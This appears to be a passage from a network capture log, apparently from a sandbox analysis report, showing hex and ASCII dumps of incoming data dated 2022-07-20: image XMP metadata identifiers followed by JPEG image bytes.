2022-07-20 17:31:06 UTC	4033	IN	Data Raw: 42 38 44 35 37 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 42 46 43 34 31 34 37 34 36 32 30 36 38 31 31 39 31 30 39 41 42 43 43 38 31 30 44 30 36 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 31 39 31 39 34 44 43 41 32 30 36 38 31 31 41 42 30 38 45 41 43 46 43 36 39 44 46 39 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 32 46 36 46 45 46 30 39 32 30 36 38 31 31 38 41 36 44 42 46 32 39 38 38 37 35 34 36 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 33 39 34 33 39 34 30 37 32 30 36 38 31 31 39 32 42 30 44 45 36 45 32 32 44 33 34 44 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c Data Ascii: B8D5749</rdf:li> <rdf:li>xmp.did:9BFC4147462068119109ABCC810D065A</rdf:li> <rdf:li>xmp.did:9C19194DCA206811AB08EACFC69DF9C8</rdf:li> <rdf:li>xmp.did:9C2F6FEF092068118A6DBF29887546A7</rdf:li> <rdf:li>xmp.did:9C3943940720681192B0DE6E22D34D0A</rdf:li> <rdf:l
2022-07-20 17:31:06 UTC	4040	IN	Data Raw: 6d 70 2e 64 69 64 3a 41 34 39 39 38 35 39 32 30 37 32 30 36 38 31 31 38 37 31 46 43 39 37 37 38 45 32 33 33 41 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 34 41 44 45 35 46 44 35 45 42 31 45 30 31 31 39 46 41 31 43 35 45 43 31 44 31 30 41 31 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 34 43 45 33 45 44 31 43 39 35 35 45 30 31 31 38 45 45 45 43 39 38 36 32 44 33 37 31 36 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 34 44 45 36 45 44 36 42 33 32 36 36 38 31 31 38 32 32 41 38 42 42 30 38 45 41 38 45 35 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 34 45 34 45 43 45 45 31 31 32 30 36 38 31 31 Data Ascii: mp.did:A499859207206811871FC9778E233A01</rdf:li> <rdf:li>xmp.did:A4ADE5FD5EB1E0119FA1C5EC1D10A162</rdf:li> <rdf:li>xmp.did:A4CE3ED1C955E0118EEEC9862D371645</rdf:li> <rdf:li>xmp.did:A4DE6ED6B3266811822A8BB08EA8E5F6</rdf:li> <rdf:li>xmp.did:A4E4ECEE11206811
2022-07-20 17:31:06 UTC	4056	IN	Data Raw: 39 44 34 36 39 35 31 46 38 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 44 33 39 43 31 45 45 46 36 32 32 36 38 31 31 38 32 32 41 44 30 37 43 37 43 43 34 33 38 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 44 36 44 44 37 31 42 38 36 30 41 31 31 45 30 42 35 46 31 39 43 41 33 45 42 42 45 37 37 43 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 44 37 33 45 37 35 39 44 36 32 30 36 38 31 31 38 32 32 41 46 42 45 42 33 36 42 33 44 30 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 44 37 44 36 41 37 34 36 33 32 31 36 38 31 31 38 46 36 32 46 41 41 32 35 42 33 35 30 38 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: 9D46951F8CC</rdf:li> <rdf:li>xmp.did:BD39C1EEF6226811822AD07C7CC438D7</rdf:li> <rdf:li>xmp.did:BD6DD71B860A11E0B5F19CA3EBBE77C1</rdf:li> <rdf:li>xmp.did:BD73E759D6206811822AFBEB36B3D090</rdf:li> <rdf:li>xmp.did:BD7D6A74632168118F62FAA25B3508FE</rdf:li> <r
2022-07-20 17:31:06 UTC	4072	IN	Data Raw: 30 31 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 30 35 34 45 43 31 31 39 32 30 36 38 31 31 39 32 42 30 42 41 41 39 30 34 44 45 30 46 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 30 37 39 44 31 44 38 35 32 32 36 38 31 31 42 38 33 43 44 31 31 41 34 39 32 36 42 38 46 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 31 37 45 43 31 35 45 38 32 30 36 38 31 31 41 42 30 38 39 44 36 36 31 42 42 31 35 37 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 31 39 46 39 33 30 32 33 32 30 36 38 31 31 38 38 43 36 44 30 45 37 44 33 39 45 39 38 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 Data Ascii: 01CD</rdf:li> <rdf:li>xmp.did:D4054EC11920681192B0BAA904DE0F8D</rdf:li> <rdf:li>xmp.did:D4079D1D85226811B83CD11A4926B8F1</rdf:li> <rdf:li>xmp.did:D417EC15E8206811AB089D661BB157E8</rdf:li> <rdf:li>xmp.did:D419F9302320681188C6D0E7D39E9815</rdf:li> <rdf:li>x
2022-07-20 17:31:06 UTC	4080	IN	Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 44 36 36 44 41 43 42 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 44 37 44 45 43 43 42 44 43 33 45 45 31 31 31 38 41 32 43 38 36 37 43 37 41 36 41 32 42 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 44 39 43 42 41 43 43 38 31 32 30 36 38 31 31 38 41 36 44 45 45 39 43 35 30 44 45 30 34 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 44 41 34 44 35 32 41 31 41 37 35 44 45 31 31 42 32 45 38 43 33 39 32 41 31 43 45 37 42 39 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 Data Ascii: rdf:li> <rdf:li>xmp.did:DD66DACB0720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:DD7DECCBDC3EE1118A2C867C7A6A2B62</rdf:li> <rdf:li>xmp.did:DD9CBACC812068118A6DEE9C50DE045B</rdf:li> <rdf:li>xmp.did:DDA4D52A1A75DE11B2E8C392A1CE7B9C</rdf:li> <rdf:li>xmp.did
2022-07-20 17:31:06 UTC	4096	IN	Data Raw: 38 45 38 45 32 43 39 37 45 34 31 31 39 38 34 31 46 45 38 43 45 37 37 33 46 44 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 30 39 41 36 32 30 41 31 37 38 31 31 45 35 41 38 43 35 44 45 43 41 42 39 35 45 33 39 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 30 41 39 38 36 44 32 35 32 33 36 38 31 31 39 34 35 37 43 41 46 46 35 39 46 30 35 46 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 31 32 42 46 37 33 33 43 32 30 36 38 31 31 39 30 32 39 39 46 46 34 41 41 42 43 42 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 31 36 37 38 38 41 34 36 33 42 45 34 31 31 41 44 35 33 38 45 45 30 34 39 32 Data Ascii: 8E8E2C97E4119841FE8CE773FD1F</rdf:li> <rdf:li>xmp.did:F709A620A17811E5A8C5DECAB95E3969</rdf:li> <rdf:li>xmp.did:F70A986D252368119457CAFF59F05F95</rdf:li> <rdf:li>xmp.did:F712BF733C20681190299FF4AABCB75E</rdf:li> <rdf:li>xmp.did:F716788A463BE411AD538EE0492
2022-07-20 17:31:06 UTC	4112	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 43 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 39 36 38 41 30 33 34 44 33 43 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 43 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 46 35 36 30 39 44 31 46 39 39 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 43 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 46 42 43 41 37 35 38 44 36 39 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 43 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 38 37 32 36 34 33 37 30 34 46 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 Data Ascii: </rdf:li> <rdf:li>xmp.did:FC7F1174072068118083968A034D3C05</rdf:li> <rdf:li>xmp.did:FC7F1174072068118083F5609D1F9960</rdf:li> <rdf:li>xmp.did:FC7F1174072068118083FBCA758D690D</rdf:li> <rdf:li>xmp.did:FC7F117407206811822A872643704FA7</rdf:li> <rdf:li>xmp.d
2022-07-20 17:31:06 UTC	4117	IN	Data Raw: 78 6d 70 2e 64 69 64 3a 46 46 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 44 33 41 43 36 46 39 45 43 32 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 46 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 41 41 46 43 35 42 45 30 33 33 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 46 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 43 34 45 42 33 31 33 38 39 41 38 36 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 46 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 44 34 41 42 46 36 38 32 43 43 30 46 32 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 46 37 46 31 31 37 34 30 37 32 30 36 38 31 Data Ascii: xmp.did:FF7F117407206811871FD3AC6F9EC201</rdf:li> <rdf:li>xmp.did:FF7F11740720681188C6AAFC5BE03362</rdf:li> <rdf:li>xmp.did:FF7F1174072068118AC4EB31389A863E</rdf:li> <rdf:li>xmp.did:FF7F1174072068118D4ABF682CC0F224</rdf:li> <rdf:li>xmp.did:FF7F11740720681
2022-07-20 17:31:06 UTC	4133	IN	Data Raw: 65 64 31 39 63 36 62 2d 66 33 62 61 2d 34 36 37 63 2d 61 34 65 36 2d 62 30 31 65 30 65 63 38 34 38 61 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 65 66 35 32 30 66 33 2d 63 62 34 66 2d 33 32 34 39 2d 62 63 63 62 2d 39 37 64 66 38 37 32 39 63 38 33 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 66 32 39 61 66 38 36 2d 38 30 36 31 2d 34 35 62 33 2d 61 66 66 37 2d 35 30 38 62 38 63 62 63 30 62 62 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 66 62 37 36 39 65 33 2d 33 31 39 35 2d 34 64 63 39 2d 62 39 36 30 2d 61 39 38 35 63 39 35 65 38 66 61 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 30 33 38 62 64 38 31 Data Ascii: ed19c6b-f3ba-467c-a4e6-b01e0ec848a1</rdf:li> <rdf:li>xmp.did:cef520f3-cb4f-3249-bccb-97df8729c83f</rdf:li> <rdf:li>xmp.did:cf29af86-8061-45b3-aff7-508b8cbc0bb0</rdf:li> <rdf:li>xmp.did:cfb769e3-3195-4dc9-b960-a985c95e8fad</rdf:li> <rdf:li>xmp.did:d038bd81
2022-07-20 17:31:06 UTC	4149	IN	Data Raw: 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 04 38 07 80 03 01 11 00 02 11 01 03 11 01 ff dd 00 04 00 f0 ff c4 00 b6 00 00 02 03 01 01 01 01 01 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 09 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 00 00 02 01 03 00 04 05 06 07 10 00 02 01 02 05 02 04 04 04 05 04 02 02 00 01 0d 01 02 11 21 03 00 31 41 12 04 51 22 61 71 13 05 81 91 a1 32 b1 42 23 14 f0 c1 d1 e1 06 f1 52 33 15 62 24 72 07 82 43 92 34 16 a2 53 b2 63 44 25 35 17 08 11 00 02 02 01 03 02 04 04 07 00 02 02 00 05 02 07 00 01 11 02 21 31 12 03 41 51 f0 61 81 22 71 91 a1 13 b1 c1 d1 e1 f1 32 04 14 05 42 52 62 72 82 c2 23 92 a2 b2 15 d2 e2 33 06 f2 ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fd 7b ec f6 49 0b 77 90 03 d9 71 db b9 47 76 a7 Data Ascii: 8!1AQ"aq2B#R3b$rC4ScD%5!1AQa"q2BRbr#3?{IwqGv
2022-07-20 17:31:06 UTC	4156	IN	Data Raw: 84 a0 0d cb 29 70 fd c4 82 28 00 ab 03 d0 d3 f0 c1 64 78 2b 05 88 d8 22 64 ac 77 40 39 c6 7f 2c 66 cb 32 75 9e 3d d8 24 93 00 95 89 db 02 33 c8 4c 0c e3 e1 8b 65 24 08 05 bb 0e 40 01 5c 03 71 67 33 4c ba f9 e2 aa 49 da e8 ca aa 47 6a 76 ca c6 da 91 b4 46 53 a8 ae 1d 6b d0 8f 93 a4 7a 93 ea b8 05 97 ee 3d ca 51 a4 19 19 cf 53 f4 c6 71 92 6e 61 18 0b 84 fa b2 8e 20 98 31 f2 ac 99 f8 63 4a e3 07 3a b6 2e e0 b3 85 b6 14 db 81 24 93 1a 96 ad 0c e5 8a d3 59 42 4a 10 fd 95 6b 5d dc 5b 61 74 2d 15 31 40 24 4c 8d 66 71 8d 94 ea 34 c4 6c 71 cb dc 25 4c 36 f6 24 91 b7 70 06 a2 35 9f ae 2a 4a 21 11 d9 27 2c 62 fd 82 16 8f bf 8e 37 30 73 4a e7 1d 74 a1 e9 88 94 11 b9 52 89 e3 9f dc 01 c7 e3 90 f0 41 94 07 32 20 88 f1 31 85 67 07 56 cd e0 ab da 7b 57 0d a6 3b 77 a8 01 Data Ascii: )p(dx+"dw@9,f2u=$3Le$@\qg3LIGjvFSkz=QSqna 1cJ:.$YBJk][at-1@$Lfq4lq%L6$p5*J!',b70sJtRA2 1gV{W;w
2022-07-20 17:31:06 UTC	4172	IN	Data Raw: 6e a5 82 6e 71 b4 a9 02 33 03 ff 00 cd 20 9c 84 53 cf 05 39 b1 55 ad 54 1a e1 6b 8a cb 79 2a 84 90 00 cb a1 3e 5d 30 ed a8 b6 ab 6a 40 57 5b a4 df 39 b0 d8 01 dd 20 41 eb 96 e3 38 2b 8f 24 e8 14 1b 60 2a da 80 80 6e 06 0e 74 9a 68 33 fe 58 d1 d7 38 33 5a 0b 5d bc aa c4 30 02 d9 82 62 b0 7e 06 84 f4 c1 58 12 73 52 c3 8c a0 87 bb 25 8b 1d c3 20 05 4c d7 59 f3 c5 b5 37 68 44 c9 bc 0d b4 2c b7 07 a9 20 31 15 33 31 14 a0 f0 18 8e b0 85 5b 03 5b aa d2 b7 82 13 b8 77 4e a0 8a 6b 82 99 ce b2 11 df b0 dc 26 22 83 ad 62 01 99 f9 f4 c5 9c 92 02 25 b7 70 aa 61 ad 9e e9 53 14 61 04 d2 84 f4 ca 32 c4 e4 52 c5 52 6d 59 03 69 ba 5a 86 32 d5 84 44 79 54 fc 31 16 0a c3 ef 50 0a 09 23 78 21 81 83 d0 f9 f8 78 61 49 18 3f 41 01 5b 3b 95 e5 ce 79 4e 70 23 a0 f3 c7 25 21 5a 80 Data Ascii: nnq3 S9UTky>]0j@W[9 A8+$`nth3X83Z]0b~XsR% LY7hD, 131[[wNk&"b%paSa2RRmYiZ2DyT1P#x!xaI?A[;yNp#%!Z
2022-07-20 17:31:06 UTC	4188	IN	Data Raw: 73 c1 63 ab 68 b0 e6 8a 0b 6a ab 1a 40 a1 ce 24 0a f8 53 1a 55 41 9e ec 80 4b db 9b d3 1b 58 32 31 1b 9a a6 4d 00 8d 72 fa e3 9e 6d fa fe c4 ab 2d 73 90 5e 55 7b e0 05 41 52 37 68 4c 8f 84 61 47 b8 e6 ca 5b bc 51 45 e7 52 c4 aa d5 a8 be 06 23 30 4f 4a 6a 70 2f c6 db 15 2c 83 5b e6 1b 37 7d 30 a6 08 26 5b 36 9c fc 07 c6 b8 ea 3f c0 ed 0a dd 9b ff 00 ac c4 b8 8e e5 88 35 06 95 fa 62 ae 3d df 24 0b 5e 45 ee dc 6b 65 83 0d c2 74 53 04 11 a4 53 5c 2b 59 a2 57 05 ff 00 72 d7 0e d4 ba 48 02 06 ca 4d 08 80 05 7c 3c e3 1c d4 1d 2d 86 b9 cb f4 d5 53 93 71 0b 15 1b 20 d4 19 a8 ae b1 3a c6 05 94 9a 55 91 61 85 ab 53 ea 30 5a 01 ba 80 91 9e 5d 3c 70 93 4a b9 26 5d 82 df 62 e3 78 52 ef 70 cd bb 64 11 15 81 f5 8f e5 8c b7 e0 b6 94 1d ef b8 0b c8 81 6e da af 6a 98 ee 88 Data Ascii: schj@$SUAKX21Mrm-s^U{AR7hLaG[QER#0OJjp/,[7}0&[6?5b=$^EketSS\+YWrHM\|<-Sq :UaS0Z]<pJ&]bxRpdnj
2022-07-20 17:31:06 UTC	4195	IN	Data Raw: 20 52 86 6b 18 35 85 93 ad 6d ae 0a 3b 6e 0a 01 37 2e 13 20 c0 f8 ce 93 07 1d 2f 52 a6 9e 1e a0 b6 d7 61 40 37 34 17 ac 83 35 15 d0 d7 a6 22 b4 91 2e 80 54 a0 3b 4b 54 bb 3c 99 27 2d 04 d0 c6 5e 18 d2 36 85 4f 41 34 ba ac cd 6a d8 2a 6a 16 64 d0 8a c1 03 33 d3 3c 0d c9 95 d6 06 6e 17 d8 43 a9 0c 17 73 08 db 1e 3f cb 1a 2c 99 d8 a5 b4 7e ee d5 36 c1 da bb 8e e3 9f 4d 7a e3 89 0c 6e d2 dc 11 c9 bb 23 ba 62 74 8d 47 5f 2c 67 bb b1 a5 69 d5 95 4b 9b 97 d6 24 90 e5 81 db 22 54 08 27 a5 3e 7e 18 d1 1c d4 81 b8 ab 65 54 59 6d d1 90 26 58 ad 08 06 22 05 73 f0 f0 c6 6b 22 69 17 16 8b 14 dc c0 32 19 93 24 65 42 48 35 f2 c2 54 6f 3d 80 e1 63 b8 63 6f 61 2a 5a a1 62 29 42 0f 8d 6b 3f c0 c5 df 9c 05 f1 b4 2b 29 71 62 d8 53 b5 f7 6e 02 09 27 a7 f1 96 24 ce 84 68 a9 47 Data Ascii: Rk5m;n7. /Ra@745".T;KT<'-^6OA4jjd3<nCs?,~6Mzn#btG_,giK$"T'>~eTYm&X"sk"i2$eBH5To=ccoaZb)Bk?+)qbSn'$hG
2022-07-20 17:31:06 UTC	4211	IN	Data Raw: 07 59 ea 72 bc ea 40 44 b4 a0 c9 2f 24 68 b2 46 46 99 99 99 a6 05 b8 a4 d5 5b 69 2f 76 f1 56 bd b9 d9 8b 86 80 08 95 26 2a 7c 29 a6 3a a9 54 8e db f4 2b e8 5d 70 15 80 52 0a 18 06 4d 7c a7 cb a1 18 bb a0 0a b3 81 c2 5e c8 72 c0 ab aa a8 27 ed 93 e5 1a d3 2d 30 1d 91 bc 6d d0 5a e6 e4 bb b2 32 82 55 81 3d b2 49 e9 d2 46 2a 90 5a 59 55 b4 36 9b ac 9b 41 2c 46 86 a6 6b 1f c5 33 c5 7c 99 c9 15 24 d1 bd 6c 8b 2c 55 f7 bc 92 08 11 11 f8 7f 1e 38 38 6c a9 c9 7b 00 5c 17 d9 0e d0 a2 8e 64 c1 9f ba a7 39 3a 7e 18 eb 72 35 81 d6 92 52 e2 7e d5 7d 0b 4d 0c 4b 6e 5c 81 24 f9 56 45 73 c7 3b 60 96 5b 45 6e 39 94 0c 57 bc 34 82 60 6b 32 35 83 fe b8 58 68 0a 75 06 80 99 57 13 b8 4c 2a ea 29 20 93 d7 13 6f 61 27 9c 86 6b 6a 0e d4 20 dc da 49 20 c2 88 02 09 ac 8a 1c 5a d5 Data Ascii: Yr@D/$hFF[i/vV&\|):T+]pRM\|^r'-0mZ2U=IFZYU6A,Fk3\|$l,U88l{\d9:~r5R~}MKn\$VEs;`[En9W4`k25XhuWL*) oa'kj I Z
2022-07-20 17:31:06 UTC	4227	IN	Data Raw: 7d 32 f0 eb 89 c8 d3 51 d8 88 0b 86 05 90 49 58 00 2c 65 a5 0c 53 f9 79 e2 d6 89 a2 b7 07 5b db ba 19 c2 ed 2a 40 02 1a b5 88 f9 69 80 de dc 16 b5 df 93 4a df 1f 95 75 7f 73 68 16 da a4 b4 6d ad 48 88 d7 18 da d0 f2 6c a9 81 2b de a7 aa 2e 84 95 71 21 b6 92 1a 0c 18 d3 a4 e1 36 aa 67 b5 8c 58 5f 59 d2 bb 49 6a ad 04 c4 d0 ce b9 78 1c 16 e3 22 ad 46 01 3c 02 3d 6f 4c a3 c0 8a 12 36 1a 8f 10 de 7a 63 be ec b5 3d 0e 54 84 c5 2e 72 3f 7a 1a 60 5c 91 24 08 9a d2 49 f3 04 08 8d 31 bc 27 94 67 7a 6e 10 83 64 db b8 d2 51 e8 28 24 52 9e 1d de 38 ea df ab 27 2a 8c 20 f6 ac 0b b3 6d 15 56 db 12 54 48 20 40 80 0c 75 8c e7 15 b8 c8 6b 59 3a ed ab 50 51 e4 5e 91 b8 c1 88 35 19 8d 66 98 55 ba 68 9b 61 81 b9 6d ec 81 7d 83 0b 64 2b 29 22 84 03 14 1a d3 cf 19 cc 68 2a d6 Data Ascii: }2QIX,eSy[@iJushmHl+.q!6gX_YIjx"F<=oL6zc=T.r?z`\$I1'gzndQ($R8' mVTH @ukY:PQ^5fUham}d+)"h*
2022-07-20 17:31:06 UTC	4235	IN	Data Raw: ac 03 ac 79 62 58 d2 97 69 17 bd ca 46 fd 54 60 06 d5 93 42 4f 4c 84 7c f1 ce a8 e7 cb f0 f9 97 b5 79 79 1b 12 3b b7 92 33 81 9c 8a 69 3e 3e 58 e7 a1 d5 69 bc 97 e3 71 ed 5b 52 8b b9 dd 86 64 40 dd ff 00 89 22 0d 3f 9e 32 4d b6 7a 5c 10 af e9 50 4a 9a ae f1 31 33 91 99 c4 55 72 66 ac 86 99 45 c2 1d d9 10 44 12 92 48 89 92 44 d4 48 fe 06 12 ae ed 4a fc 84 6e 5c 0c c1 6d 30 96 23 59 6d 4d 46 67 2d 32 c6 9b 52 c2 33 6f 20 2f 28 5b 2d 7f 90 b0 b5 85 83 51 e2 33 ad 46 32 75 53 ee 34 ac fc 86 b8 bc 3b 8c aa 38 e9 09 4a 8c a6 34 9c 80 e9 81 b9 44 15 f0 b7 94 2c 96 ee b3 85 25 a0 18 de 60 8a 65 13 3f 5c 76 e2 7d b1 8f 4e ea 10 ec 37 19 9c c1 5a 0a ce bf 00 70 95 8b 54 45 bb 9f ba 51 e8 8a b0 04 95 19 1e 95 34 88 c6 96 48 29 32 cd c6 5b 6f be c6 d2 cf d5 8c 01 e7 Data Ascii: ybXiFT`BOL\|yy;3i>>Xiq[Rd@"?2Mz\PJ13UrfEDHDHJn\m0#YmMFg-2R3o /([-Q3F2uS4;8J4D,%`e?\v}N7ZpTEQ4H)2[o
2022-07-20 17:31:06 UTC	4251	IN	Data Raw: 0a 00 44 99 1a c6 34 7a 39 e8 67 21 56 d3 dd 65 b0 a4 e4 3b a2 05 66 84 53 2f 1c 54 fa 23 b4 2b 70 7a 87 ba b6 d6 00 26 28 c3 c3 c7 0d df 76 09 55 9c 91 6f b0 81 2d 49 13 a0 f3 19 7f 1e 18 c9 26 b5 1c 22 1b 95 7a cb 33 dd 24 85 04 13 4d b2 7f 28 12 3e 80 e2 b4 fa 15 a9 2a bb 37 2d 97 93 91 da 6b 1b 46 66 bf cb 0e af b9 91 4b 76 cd d0 15 54 c0 60 e0 7d ad 49 ae 80 01 5c be 38 b7 b0 95 1b d4 3d d6 be ac 78 ee 09 09 44 10 2a 3c 31 9d 25 39 13 69 e0 0a 83 70 b8 70 0a 02 4e da cd 74 e9 49 c4 72 b2 55 54 c0 a9 98 24 07 1b 94 c8 ad 0d 01 02 b9 63 ad 67 68 6c 0d 41 a0 87 d2 55 b6 88 0e c1 b7 7e 40 c7 86 72 7a 13 9e 2b cb 9e a3 d4 94 0e 2e 16 ed ac 18 da 2a 41 ad 4e 0b 22 c0 41 63 d1 05 2e 1d b6 b6 b0 49 6a d2 72 3d 0f d3 0b 8f cc 5a 09 de 4b 4c 0c 0d ec 62 34 00 Data Ascii: D4z9g!Ve;fS/T#+pz&(vUo-I&"z3$M(>7-kFfKvT`}I\8=xD<1%9ippNtIrUT$cghlAU~@rz+.*AN"Ac.Ijr=ZKLb4
2022-07-20 17:31:06 UTC	4267	IN	Data Raw: 4c ce 7e 78 b5 b3 47 3a 26 07 93 65 3d 5d dc 71 bf 78 a9 63 02 93 48 d3 fa e7 86 a6 c7 5a 11 a3 c0 1b 12 e5 9b 93 75 d2 57 62 c7 43 dc 36 e7 5a e3 2b 26 9e 9f 54 6b 4d 24 40 58 7b 36 f6 05 b9 69 7d 3a 9c cc 88 92 01 3a 1c f1 d0 a3 3f 8a 03 6d e4 91 7a fd 92 ac b7 99 7b 61 98 3c 89 5a 99 8a 11 96 9e 18 b5 ae ed 08 ed 1f c3 09 ca 73 cb 2c 39 2a 8e 47 e7 45 12 01 5a e5 42 46 58 eb d7 ed 91 ad da 8a fe 9b 17 55 76 77 2c 55 b5 00 02 0d 23 23 e5 ae 78 e6 e7 02 48 2f a5 c9 da 6e a3 28 2a b2 a6 6b 07 aa e5 5c 8c eb 86 9f 40 ac 88 0b 8c 14 6d 21 95 0e e8 dc 23 74 99 1e 10 71 5d 13 ea cc 9b 67 0b ca 6e b5 d5 5d 97 40 00 52 be 13 34 9c a9 d7 01 a9 b6 44 ad 04 db 62 aa 51 4b ee cd 60 c9 62 56 b4 9a 0d 4e 98 d5 a8 3b 74 86 b4 1e c7 dc 04 e6 28 4c 98 03 ad 3c 31 15 a5 Data Ascii: L~xG:&e=]qxcHZuWbC6Z+&TkM$@X{6i}::?mz{a<Zs,9GEZBFXUvw,U##xH/n(k\@m!#tq]gn]@R4DbQK`bVN;t(L<1
2022-07-20 17:31:06 UTC	4275	IN	Data Raw: 3c bc fc 30 b8 9a a9 9f 24 8b 5c 64 29 bc 39 6d 03 4c 15 ff 00 68 32 23 2c 36 c2 9c 97 08 0b 1b 8c 19 c1 32 1d 55 5c 99 d7 4a 03 82 b2 28 48 eb 8f 70 ee 4b 53 f7 31 ac 82 24 6d 30 0e 51 4c e9 8e 4a 4e b5 a0 ad bb 09 7a 18 90 2c ec 98 f2 f3 f0 cc 60 68 71 c2 ea 01 eb 92 c8 1a 4a 86 99 24 e5 11 e5 83 57 2c 61 0d e2 83 d3 b7 32 76 c9 a0 03 ac 13 59 a7 d3 0a aa 19 2e e4 94 37 59 51 2a 85 49 69 91 a8 a1 c8 7d 70 ed 60 56 b1 f8 fc 8a 21 5b 3b 7d 34 79 91 0c a0 c0 11 99 cb 18 3b bb 60 d2 b5 81 bb ce d2 3d 72 0c fd a0 82 c0 f9 18 ae 67 0f 63 65 4e 00 5c df 70 83 04 23 29 2b 0d 34 1a c6 83 a5 71 95 56 d6 2b 3d c0 d7 